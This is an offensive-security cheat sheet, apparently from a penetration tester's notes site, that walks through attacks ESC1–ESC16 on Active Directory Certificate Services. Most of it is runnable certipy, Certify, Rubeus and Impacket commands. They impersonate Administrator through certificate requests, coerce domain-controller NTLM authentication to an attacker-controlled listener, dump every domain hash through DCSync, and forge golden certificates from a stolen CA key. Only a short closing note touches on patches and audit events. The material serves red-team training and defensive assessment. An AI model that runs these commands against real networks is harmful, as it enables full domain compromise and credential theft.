ᛉ Yggdrasil

Active Directory

Active Directory Certificate Services (ADCS) Attack

15 Sep 2026 · 3,594 words · 16 min

Contents

Based on research by Will Schroeder & Lee Christensen (SpecterOps) — "Certified Pre-Owned" ESC1–ESC16 + domain escalation via CA abuse. Tools: certipy, Certify, PKINITtools, Impacket


1. Enumeration

Always start here — find misconfigured templates and CAs before attempting any ESC.

# certipy — full ADCS enumeration (templates + CAs + vulnerabilities)
certipy find -u attacker@domain.local -p 'Pass123!' -dc-ip <DC_IP> -stdout
certipy find -u attacker@domain.local -p 'Pass123!' -dc-ip <DC_IP> -vulnerable -stdout

# Save to zip (BloodHound-compatible + text + json)
certipy find -u attacker@domain.local -p 'Pass123!' -dc-ip <DC_IP> -vulnerable

# Certify (Windows)
Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser
Certify.exe cas

# crackmapexec
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' -M adcs
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' -M adcs -o SERVER=<CA_SERVER>

# Manual LDAP query — list all templates
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
  -b 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local' \
  '(objectclass=pKICertificateTemplate)' name msPKI-Certificate-Name-Flag msPKI-Enrollment-Flag pkiextendedkeyusage

Key flags to look for:

Flag Value Meaning
msPKI-Certificate-Name-Flag 0x1 (ENROLLEE_SUPPLIES_SUBJECT) Requester can set SAN → ESC1
msPKI-Enrollment-Flag 0x2 (PEND_ALL_REQUESTS) Manager approval required (safe)
msPKI-RA-Application-Policies Any Purpose OID ESC2
EKU Certificate Request Agent ESC3
CT_FLAG_NO_SECURITY_EXTENSION set ESC9/ESC16

2. ESC1 — Misconfigured Certificate Template (SAN)

Conditions:

  • Template has ENROLLEE_SUPPLIES_SUBJECT flag (msPKI-Certificate-Name-Flag = 0x1)
  • Template has an EKU that allows authentication (Client Authentication, Smart Card Logon, PKINIT, Any Purpose)
  • Low-privilege users can enroll

Attack: Request a certificate and set the SAN (Subject Alternative Name) to any user (e.g., Administrator) to authenticate as them.

# certipy — request cert as Administrator using vulnerable template
certipy req -u attacker@domain.local -p 'Pass123!' \
  -ca '<CA_Name>' \
  -template '<VulnerableTemplate>' \
  -upn administrator@domain.local \
  -dc-ip <DC_IP>
# Output: administrator.pfx

# Authenticate with the cert → get TGT + NTLM hash
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
# Output: administrator.ccache + NTLM hash

# Use the TGT
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@<DC_IP>
wmiexec.py -k -no-pass domain.local/administrator@<DC_IP>

# --- Windows (Certify + Rubeus) ---
Certify.exe request /ca:<CA_Server>\<CA_Name> /template:<Template> /altname:administrator
# Convert pem → pfx: openssl pkcs12 -in cert.pem -keyex -CSP "..." -export -out cert.pfx
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:'' /ptt

3. ESC2 — Any Purpose / SubCA Template

Conditions:

  • Template has Any Purpose EKU or no EKU at all (SubCA template)
  • Low-privilege users can enroll

Attack: Certificate can be used for any purpose including client auth, code signing, etc. Can be used as an enrollment agent to request certs on behalf of other users (chain into ESC3).

# Request the SubCA/AnyPurpose cert
certipy req -u attacker@domain.local -p 'Pass123!' \
  -ca '<CA_Name>' -template '<ESC2_Template>' -dc-ip <DC_IP>

# Use it as an enrollment agent (see ESC3 step 2 below)
certipy req -u attacker@domain.local -p 'Pass123!' \
  -ca '<CA_Name>' -template 'User' \
  -on-behalf-of 'domain\administrator' \
  -pfx attacker.pfx -dc-ip <DC_IP>

certipy auth -pfx administrator.pfx -dc-ip <DC_IP>

4. ESC3 — Certificate Request Agent

Conditions:

  • Template A: has Certificate Request Agent EKU, low-priv enrollment
  • Template B: allows enrollment agent to enroll on behalf of others (has Application Policies or no restriction)

Attack: Two-step — get an enrollment agent certificate, then use it to request a cert on behalf of any user.

# Step 1: Request enrollment agent certificate (Template with CRA EKU)
certipy req -u attacker@domain.local -p 'Pass123!' \
  -ca '<CA_Name>' -template '<CRA_Template>' -dc-ip <DC_IP>
# Output: attacker.pfx (enrollment agent cert)

# Step 2: Use enrollment agent cert to request on behalf of Administrator
certipy req -u attacker@domain.local -p 'Pass123!' \
  -ca '<CA_Name>' -template '<AuthTemplate>' \
  -on-behalf-of 'domain\administrator' \
  -pfx attacker.pfx -dc-ip <DC_IP>
# Output: administrator.pfx

# Step 3: Authenticate
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>

5. ESC4 — Vulnerable Template ACL

Conditions:

  • A low-privilege user has write access to a certificate template object (GenericWrite, WriteProperty, WriteDACL, etc.)
  • The template itself may be safe — but you can modify it to become ESC1/ESC2.

Attack: Modify the template to enable ENROLLEE_SUPPLIES_SUBJECT flag, then exploit as ESC1, then restore.

# certipy — all-in-one ESC4 (modifies template → exploits → restores)
certipy template -u attacker@domain.local -p 'Pass123!' \
  -template '<VulnerableTemplate>' -save-old -dc-ip <DC_IP>

# certipy will temporarily set ENROLLEE_SUPPLIES_SUBJECT + disable manager approval
# Then request a cert as Administrator
certipy req -u attacker@domain.local -p 'Pass123!' \
  -ca '<CA_Name>' -template '<VulnerableTemplate>' \
  -upn administrator@domain.local -dc-ip <DC_IP>

# Restore original template config
certipy template -u attacker@domain.local -p 'Pass123!' \
  -template '<VulnerableTemplate>' -configuration '<Template>.json' -dc-ip <DC_IP>

# Authenticate
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>

6. ESC5 — Vulnerable PKI Object ACL

Conditions:

  • Write access to sensitive AD objects related to PKI:
    • The CA server computer object
    • The CN=Public Key Services container
    • The NTAuthCertificates object
    • The Enrollment Services object

Attack: Varies depending on which object is writable. Can lead to CA compromise or rogue cert trust.

# Find misconfigured PKI container ACLs
Get-DomainObjectAcl -SearchBase 'CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local' \
  -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match 'Write|GenericAll' }

# If you can write NTAuthCertificates — forge and publish a rogue CA cert
# (Advanced — usually chains to ESC7 or custom CA installation)

# If you own the CA computer object → RBCD or Shadow Creds on CA server → local admin → CA shell
# (then ESC12 — arbitrary cert issuance)

7. ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 Flag

Conditions:

  • The CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled
  • This flag allows any certificate request (even for templates that don't set ENROLLEE_SUPPLIES_SUBJECT) to include a SAN

Attack: Request a cert from any enrollment-allowed template and supply an arbitrary SAN.

# Check if CA has the flag set
certipy find -u attacker@domain.local -p 'Pass123!' -dc-ip <DC_IP> -vulnerable -stdout
# Look for: "User Specified SAN: Enabled"

# Exploit — request cert from basic template (e.g., "User") with arbitrary SAN
certipy req -u attacker@domain.local -p 'Pass123!' \
  -ca '<CA_Name>' -template 'User' \
  -upn administrator@domain.local -dc-ip <DC_IP>

certipy auth -pfx administrator.pfx -dc-ip <DC_IP>

Note: Microsoft patched this partially in May 2022 (KB5014754). Requires StrongCertificateBindingEnforcement = 0 or CertificateMappingMethods to include weaker methods on newer DCs.


8. ESC7 — Vulnerable CA ACL

Conditions:

  • Attacker has ManageCA or ManageCertificates right on the CA

Two sub-attacks:

ESC7a — ManageCertificates → Issue Pending/Failed Certs

# Step 1: Request a cert that would normally need manager approval (PEND_ALL_REQUESTS)
certipy req -u attacker@domain.local -p 'Pass123!' \
  -ca '<CA_Name>' -template '<PendingTemplate>' \
  -upn administrator@domain.local -dc-ip <DC_IP>
# Output: Request ID = <N> (pending)

# Step 2: Approve/issue the pending request using ManageCertificates
certipy ca -u attacker@domain.local -p 'Pass123!' \
  -ca '<CA_Name>' -issue-request <N> -dc-ip <DC_IP>

# Step 3: Retrieve the issued cert
certipy req -u attacker@domain.local -p 'Pass123!' \
  -ca '<CA_Name>' -retrieve <N> -dc-ip <DC_IP>

certipy auth -pfx administrator.pfx -dc-ip <DC_IP>

ESC7b — ManageCA → Enable EDITF_ATTRIBUTESUBJECTALTNAME2

# Enable the flag (turns CA into ESC6-vulnerable)
certipy ca -u attacker@domain.local -p 'Pass123!' \
  -ca '<CA_Name>' -enable-flag EDITF_ATTRIBUTESUBJECTALTNAME2 -dc-ip <DC_IP>

# Restart the CA service (required for flag to take effect)
# May need CA admin shell or SCM access for this

# Now exploit as ESC6
certipy req -u attacker@domain.local -p 'Pass123!' \
  -ca '<CA_Name>' -template 'User' \
  -upn administrator@domain.local -dc-ip <DC_IP>
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>

9. ESC8 — NTLM Relay to AD CS HTTP Endpoints

Conditions:

  • The CA has the Web Enrollment interface (certsrv) running over HTTP (not HTTPS, or HTTPS without EPA)
  • You can coerce NTLM authentication from a target (DC, server, or user)

Attack: Relay the NTLM auth of a DC machine account to the CA's /certsrv/certfnsh.asp endpoint and request a cert for the DC, then DCSync.

# Step 1: Start certipy relay listener
certipy relay -ca <CA_IP> -template DomainController

# Step 2: Coerce NTLM from the DC (pick any coercion method)

# Option A — PetitPotam (MS-EFSRPC)
PetitPotam.py -u attacker -p 'Pass123!' <ATTACKER_IP> <DC_IP>

# Option B — PrinterBug (MS-RPRN)
printerbug.py 'domain.local/attacker:Pass123!'@<DC_IP> <ATTACKER_IP>

# Option C — Coercer (tries all methods)
Coercer coerce -u attacker -p 'Pass123!' -d domain.local \
  --target <DC_IP> --listener-ip <ATTACKER_IP>

# certipy relay will catch the DC$ auth and issue a DomainController cert
# Output: <dc_hostname>$.pfx

# Step 3: Authenticate as the DC machine account
certipy auth -pfx '<dc_hostname>$.pfx' -dc-ip <DC_IP>
# Output: DC$ NTLM hash + TGT

# Step 4: DCSync using the DC$ account
export KRB5CCNAME=<dc_hostname>$.ccache
secretsdump.py -k -no-pass domain.local/'<dc_hostname>$'@<DC_IP>

# Or with NTLM hash
secretsdump.py -hashes :<DC_NTLM> 'domain.local/<dc_hostname>$'@<DC_IP> -just-dc-ntlm

10. ESC9 — No Security Extension on Template

Conditions:

  • Template has CT_FLAG_NO_SECURITY_EXTENSION flag set (msPKI-Enrollment-Flag bit 0x80000)
  • Combined with: attacker has GenericWrite on a user object AND StrongCertificateBindingEnforcement on DCs is 0 or 1

Attack: Change the target user's UPN to match a privileged account, request a cert, restore UPN. The cert maps to the privileged account during auth.

# Step 1: Save the target user's current UPN
certipy account read -u attacker@domain.local -p 'Pass123!' \
  -user <TargetUser> -dc-ip <DC_IP>

# Step 2: Change target UPN to administrator (requires GenericWrite on TargetUser)
certipy account update -u attacker@domain.local -p 'Pass123!' \
  -user <TargetUser> -upn administrator -dc-ip <DC_IP>

# Step 3: Request cert as TargetUser (cert will have UPN=administrator)
certipy req -u <TargetUser>@domain.local -p 'TargetPass!' \
  -ca '<CA_Name>' -template '<ESC9_Template>' -dc-ip <DC_IP>

# Step 4: Restore original UPN
certipy account update -u attacker@domain.local -p 'Pass123!' \
  -user <TargetUser> -upn <TargetUser>@domain.local -dc-ip <DC_IP>

# Step 5: Authenticate — DC maps the UPN to administrator
certipy auth -pfx administrator.pfx -username administrator -domain domain.local -dc-ip <DC_IP>

11. ESC10 — Weak Certificate Mappings

Conditions:

  • StrongCertificateBindingEnforcement = 0 on DCs (disabled) or = 1 (compatibility mode)
  • Attacker has GenericWrite on a target user

Two sub-cases based on registry value:

ESC10a — StrongCertificateBindingEnforcement = 0

# Same flow as ESC9 — change UPN, request cert, auth
# With value=0, the DC accepts the cert's SAN/UPN without checking strong mapping
certipy account update -u attacker@domain.local -p 'Pass123!' \
  -user <TargetUser> -upn administrator -dc-ip <DC_IP>
certipy req -u <TargetUser>@domain.local -p 'Pass!' \
  -ca '<CA>' -template '<Template>' -dc-ip <DC_IP>
certipy account update -u attacker@domain.local -p 'Pass123!' \
  -user <TargetUser> -upn <TargetUser>@domain.local -dc-ip <DC_IP>
certipy auth -pfx administrator.pfx -username administrator -domain domain.local -dc-ip <DC_IP>

ESC10b — CertificateMappingMethods includes UPN (0x4)

# Change target user's altSecurityIdentities or UPN to match DC machine account
certipy account update -u attacker@domain.local -p 'Pass123!' \
  -user <TargetUser> -upn '<dc_hostname>$@domain.local' -dc-ip <DC_IP>
certipy req -u <TargetUser>@domain.local -p 'Pass!' \
  -ca '<CA>' -template '<Template>' -dc-ip <DC_IP>
certipy account update -u attacker@domain.local -p 'Pass123!' \
  -user <TargetUser> -upn <TargetUser>@domain.local -dc-ip <DC_IP>
# Auth as DC$, then DCSync
certipy auth -pfx '<dc_hostname>$.pfx' -dc-ip <DC_IP>
secretsdump.py -hashes :<NTLM> 'domain.local/<dc_hostname>$'@<DC_IP> -just-dc-ntlm

12. ESC11 — NTLM Relay to ICPR (RPC)

Conditions:

  • CA RPC endpoint (MS-ICPR) does not enforce packet privacy (IF_ENFORCES_ENCRYPTION_ICPR not set)
  • You can coerce NTLM from a target

Attack: Same concept as ESC8 but over RPC instead of HTTP — relay to the CA's ICPR endpoint.

# Step 1: Start certipy relay in RPC mode
certipy relay -ca <CA_IP> -template DomainController -target rpc://<CA_IP>

# Step 2: Coerce NTLM from DC
PetitPotam.py -u attacker -p 'Pass123!' <ATTACKER_IP> <DC_IP>
# or
Coercer coerce -u attacker -p 'Pass123!' -d domain.local \
  --target <DC_IP> --listener-ip <ATTACKER_IP>

# Steps 3-4: Same as ESC8 — auth + DCSync
certipy auth -pfx '<dc_hostname>$.pfx' -dc-ip <DC_IP>
secretsdump.py -k -no-pass domain.local/'<dc_hostname>$'@<DC_IP>

13. ESC12 — Shell Access to CA Server

Conditions:

  • You have local admin / shell access on the CA server itself (via RCE, RBCD on CA computer, etc.)

Attack: Use certutil or direct CA admin tools to issue arbitrary certificates.

# On the CA server — issue a cert for Administrator directly
certutil -config '<CA_Server>\<CA_Name>' -submit -attrib "CertificateTemplate:User\nSAN:upn=administrator@domain.local" req.csr

# Or use the CA's admin interface
# Install the RSAT CA tools and use certsrv.msc

# Or via certipy if you have CA admin rights obtained from shell
certipy ca -u attacker@domain.local -p 'Pass123!' -ca '<CA_Name>' \
  -enable-flag EDITF_ATTRIBUTESUBJECTALTNAME2 -dc-ip <DC_IP>

Conditions:

  • A certificate template is linked to an AD group via msPKI-Certificate-Policy (issuance policy OID)
  • The OID has a msDS-OIDToGroupLink attribute pointing to a privileged group
  • Low-privilege users can enroll

Attack: Enroll in the template → receive a cert → Kerberos automatically adds you to the linked group when you use the cert for auth (via PKINIT).

# Enumerate OID-to-group links
certipy find -u attacker@domain.local -p 'Pass123!' -dc-ip <DC_IP> -vulnerable -stdout
# Look for: "Group:" under template info

# Request the certificate
certipy req -u attacker@domain.local -p 'Pass123!' \
  -ca '<CA_Name>' -template '<ESC13_Template>' -dc-ip <DC_IP>

# Authenticate — Kerberos PAC will include the linked group membership
certipy auth -pfx attacker.pfx -dc-ip <DC_IP>
# The resulting TGT will contain the OID-linked group in the PAC

export KRB5CCNAME=attacker.ccache
# If the linked group = Domain Admins, you're now DA for this session
klist  # verify group membership in TGT

15. ESC14 — Explicit Mapping Abuse

Conditions:

  • StrongCertificateBindingEnforcement = 1 or 2
  • Attacker has GenericWrite on target user → can write altSecurityIdentities attribute
  • Target has a certificate that can be mapped

Attack: Write a crafted altSecurityIdentities value on a privileged user that maps to your own certificate.

# Step 1: Get your own certificate (any valid cert from the CA)
certipy req -u attacker@domain.local -p 'Pass123!' \
  -ca '<CA_Name>' -template 'User' -dc-ip <DC_IP>

# Step 2: Get the SHA1 of your cert's issuer+serial (X509IssuerSerialNumber format)
certipy cert -pfx attacker.pfx -noout -text | grep -A5 'Issuer\|Serial'

# Step 3: Write altSecurityIdentities on Administrator (requires GenericWrite)
# Format: X509:<I>CN=CA-Name<SR>serial_reversed_hex
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> \
  set object Administrator altSecurityIdentities \
  -v 'X509:<I>CN=<CA_Name><SR><SerialHex>'

# Step 4: Authenticate as Administrator using your cert
certipy auth -pfx attacker.pfx -username administrator -domain domain.local -dc-ip <DC_IP>

16. ESC15 — Application Policy Abuse (EKUwu)

Discovered by Justin Bollinger (TrustedSec) — 2024

Conditions:

  • Schema version 1 template (older templates without schema version 2 protections)
  • ENROLLEE_SUPPLIES_SUBJECT is not required — the EKU restriction is bypassed via Application Policies

Attack: Request a cert and include Client Authentication in the Application Policies extension even if the template's EKU doesn't include it.

# Identify schema v1 templates
certipy find -u attacker@domain.local -p 'Pass123!' -dc-ip <DC_IP> -vulnerable -stdout
# Look for: "Schema Version: 1"

# Request with application policy override
certipy req -u attacker@domain.local -p 'Pass123!' \
  -ca '<CA_Name>' -template '<SchemaV1_Template>' \
  -application-policies 'Client Authentication' \
  -upn administrator@domain.local -dc-ip <DC_IP>

certipy auth -pfx administrator.pfx -dc-ip <DC_IP>

17. ESC16 — Security Extension Disabled on CA

Conditions:

  • CA has EDITF_DISABLEEXTENSIONLIST flag or the szOID_NTDS_CA_SECURITY_EXT OID is suppressed
  • Similar to ESC9/ESC10 — the security extension (SID extension) is not embedded in issued certs

Attack: Without the security extension containing the requester's SID, certs can be mapped to arbitrary accounts based on UPN alone. Same exploitation path as ESC9.

# Check CA flags
certipy find -u attacker@domain.local -p 'Pass123!' -dc-ip <DC_IP> -vulnerable -stdout
# Look for: "Disable SAN Security Extension: Enabled"

# Exploit — same as ESC9/ESC10 flow
certipy account update -u attacker@domain.local -p 'Pass123!' \
  -user <TargetUser> -upn administrator@domain.local -dc-ip <DC_IP>

certipy req -u <TargetUser>@domain.local -p 'Pass!' \
  -ca '<CA>' -template 'User' -dc-ip <DC_IP>

certipy account update -u attacker@domain.local -p 'Pass123!' \
  -user <TargetUser> -upn <TargetUser>@domain.local -dc-ip <DC_IP>

certipy auth -pfx administrator.pfx -username administrator -domain domain.local -dc-ip <DC_IP>

18. Domain Escalation via Certificate Abuse

18.1 PKINIT → NTLM via UnPAC-the-Hash

When PKINIT auth succeeds but you need an NTLM hash (e.g., for PTH), extract it from the PADATA.

# certipy auth already outputs NTLM directly:
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
# Output includes: [*] Got hash for 'administrator@domain.local': aad3b435...:NTLM_HASH

# Manual with gettgtpkinit + getnthash (PKINITtools)
gettgtpkinit.py -cert-pfx administrator.pfx -key-pass '' \
  domain.local/administrator administrator.ccache
export KRB5CCNAME=administrator.ccache
getnthash.py -key <AS_REP_KEY> domain.local/administrator

18.2 Pass-the-Certificate

# Use pfx directly for WinRM/SMB access
evil-winrm -i <TARGET_IP> -S -c admin.crt -k admin.key
# Or convert pfx → pem for tools that need it
openssl pkcs12 -in administrator.pfx -nocerts -out admin.key -nodes
openssl pkcs12 -in administrator.pfx -clcerts -nokeys -out admin.crt

18.3 Forge Certificates with Stolen CA Private Key

If you have access to the CA server (ESC12 or DA → CA):

# Step 1: Extract CA cert + private key from CA server
# (Requires local admin on CA server)
certipy ca -backup -u attacker@domain.local -p 'Pass123!' \
  -ca '<CA_Name>' -dc-ip <DC_IP>
# Output: <CA_Name>.pfx

# Step 2: Forge any certificate (Golden Certificate)
certipy forge -ca-pfx '<CA_Name>.pfx' \
  -upn administrator@domain.local \
  -subject 'CN=Administrator,CN=Users,DC=domain,DC=local'
# Output: administrator_forged.pfx

# Step 3: Authenticate
certipy auth -pfx administrator_forged.pfx -dc-ip <DC_IP>

Note: Forged certs bypass template restrictions entirely and survive CA key rollover until the CA cert itself expires or is revoked.


19. Scenario Matrix

ESC Condition Attack Summary Tool
ESC1 ENROLLEE_SUPPLIES_SUBJECT + auth EKU Request cert with arbitrary SAN (UPN) certipy req
ESC2 Any Purpose EKU or no EKU Enroll for any purpose; chain to ESC3 certipy req
ESC3 Certificate Request Agent EKU Get enrollment agent cert → request on behalf of others certipy req (2-step)
ESC4 Write ACL on template Modify template flags → ESC1 certipy template + req
ESC5 Write ACL on PKI AD objects Modify CA/NTAuth objects PowerView + certipy
ESC6 EDITF_ATTRIBUTESUBJECTALTNAME2 on CA Any template request includes SAN certipy req
ESC7a ManageCertificates on CA Approve pending requests certipy ca -issue-request
ESC7b ManageCA on CA Enable ESC6 flag certipy ca -enable-flag
ESC8 CA HTTP enrollment + NTLM relay Relay DC auth → get DC cert → DCSync certipy relay + coercion
ESC9 CT_FLAG_NO_SECURITY_EXTENSION + GenericWrite on user Change UPN → request cert → auth as privileged user certipy account + req
ESC10a StrongBinding=0 + GenericWrite Same as ESC9 certipy account + req
ESC10b CertMappingMethods incl UPN + GenericWrite Map cert to DC$ → DCSync certipy account + req
ESC11 CA RPC no encryption + NTLM relay Relay DC auth over RPC → DC cert certipy relay (rpc) + coercion
ESC12 Shell on CA server Direct cert issuance / CA compromise certutil / certipy ca
ESC13 OID-to-group link on template Enroll → TGT includes linked group PAC certipy req + auth
ESC14 GenericWrite on user + strong binding Write altSecurityIdentities → map your cert bloodyAD + certipy auth
ESC15 Schema v1 template Override EKU via Application Policies certipy req -application-policies
ESC16 SID security extension disabled on CA Same as ESC9 — UPN-based mapping bypass certipy account + req

20. Tool Cheat Sheet

# --- certipy (primary tool) ---
pip install certipy-ad

certipy find     # Enumerate ADCS (templates, CAs, vulnerabilities)
certipy req      # Request a certificate
certipy auth     # Authenticate with a PFX → get TGT + NTLM
certipy ca       # Manage CA (issue pending, enable flags, backup)
certipy template # Modify template configuration
certipy account  # Update user attributes (UPN, altSecID)
certipy relay    # NTLM relay listener for ESC8/ESC11
certipy forge    # Forge cert with stolen CA key
certipy cert     # Inspect / decode a certificate

# --- Certify (Windows) ---
Certify.exe find /vulnerable
Certify.exe request /ca:<CA> /template:<Template> /altname:<user>

# --- Rubeus (Windows) ---
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /ptt

# --- PKINITtools ---
gettgtpkinit.py domain.local/administrator admin.ccache -cert-pfx admin.pfx
getnthash.py -key <key> domain.local/administrator

# --- Impacket ---
getST.py      # S4U after getting machine cert via PKINIT
secretsdump.py # DCSync after obtaining DA creds from ADCS

# --- Coercion tools ---
PetitPotam.py <ATTACKER_IP> <TARGET_IP> -u attacker -p Pass123!
printerbug.py 'domain.local/attacker:Pass123!'@<TARGET_IP> <ATTACKER_IP>
Coercer coerce --target <IP> --listener-ip <ATTACKER_IP> -u attacker -p Pass123! -d domain.local

Notes

  • Patching (KB5014754): Microsoft's May 2022 patch introduced StrongCertificateBindingEnforcement. ESC1/ESC6 still work if the CA issues certs with the SID extension (most do). ESC9/ESC10/ESC16 specifically target weak binding scenarios.
  • Audit: Check Security event log on CA server — event IDs 4886 (cert requested), 4887 (cert issued), 4888 (cert denied).
  • certipy -debug: Add -debug to any certipy command for verbose output when troubleshooting Kerberos/PKINIT failures.
  • RC4 fallback: If PKINIT fails with AES errors, try -ldap-scheme ldaps or check if RC4 is disabled domain-wide — some DCs require specific KDC flags.

← Active Directory top ↑